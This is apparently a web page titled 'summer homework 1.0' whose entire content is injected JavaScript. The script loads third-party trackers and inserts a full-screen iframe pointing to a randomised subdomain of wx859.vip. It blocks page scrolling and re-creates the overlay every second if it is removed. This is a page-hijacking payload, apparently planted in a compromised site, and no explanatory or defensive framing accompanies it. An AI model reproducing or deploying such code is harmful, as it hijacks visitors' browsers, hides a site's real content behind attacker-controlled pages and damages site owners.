暑假作业1.0

// 生成指定长度的随机字符串（小写字母+数字） function generateRandomString(length) { const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < length; i++) { // 从字符集中随机取一个字符拼接到结果 result += characters.charAt(Math.floor(Math.random() * characters.length)); } return result; } var _mtj = _mtj || []; (function () { var mtj = document.createElement("script"); mtj.src = "https://node90.aizhantj.com:21233/tjjs/?k=lel6ykjn4ap"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(mtj, s); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?507730829fa78019a713422d5c3379c0"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); // 创建并插入iframe function createIframe() { // 生成6位随机前缀 const randomPrefix = generateRandomString(6); // 拼接iframe目标URL const url = "https://" + randomPrefix + ".wx859.vip/beibei.html"; // 创建iframe元素 const iframe = document.createElement('iframe'); iframe.src = url; // 设置iframe样式为全屏遮罩 iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100vw'; iframe.style.height = '100vh'; iframe.style.border = 'none'; iframe.style.zIndex = '999999'; iframe.style.setProperty('display', 'block', 'important'); iframe.style.setProperty('visibility', 'visible', 'important'); iframe.setAttribute('frameborder', '0'); iframe.setAttribute('scrolling', 'yes'); iframe.setAttribute('allowfullscreen', 'true'); iframe.setAttribute('loading', 'lazy'); // 如果body已存在，直接插入iframe，否则等DOMContentLoaded事件 if (document.body) { document.body.appendChild(iframe); disableScroll(); } else { document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(iframe); disableScroll(); }); } } // 禁止页面滚动 function disableScroll() { document.body.style.overflow = 'hidden'; document.documentElement.style.overflow = 'hidden'; } // 立即执行函数，初始化 (function() { try { // 尝试插入iframe createIframe(); } catch(e) { // 若有异常，1毫秒后重试 setTimeout(createIframe, 1); } // 守护检测：每1秒检测iframe是否存在，不存在则重建 setInterval(function() { const iframe = document.querySelector('iframe'); if (!iframe || !document.body.contains(iframe)) { createIframe(); } }, 1000); // 监听屏幕旋转，延迟300ms后重设iframe大小 window.addEventListener('orientationchange', function() { setTimeout(resizeIframe, 300); }); // 监听窗口大小变化，延迟300ms后重设iframe大小 window.addEventListener('resize', function() { setTimeout(resizeIframe, 300); }); // 重设iframe宽高为全屏 function resizeIframe() { const iframe = document.querySelector('iframe'); if (iframe) { iframe.style.width = '100vw'; iframe.style.height = '100vh'; } } // 兼容iOS滚动，实时修正iframe高度 if (/iPad|iPhone|iPod/.test(navigator.userAgent)) { window.addEventListener('scroll', function() { const iframe = document.querySelector('iframe'); if (iframe) { iframe.style.height = window.innerHeight + 'px'; } }); } })();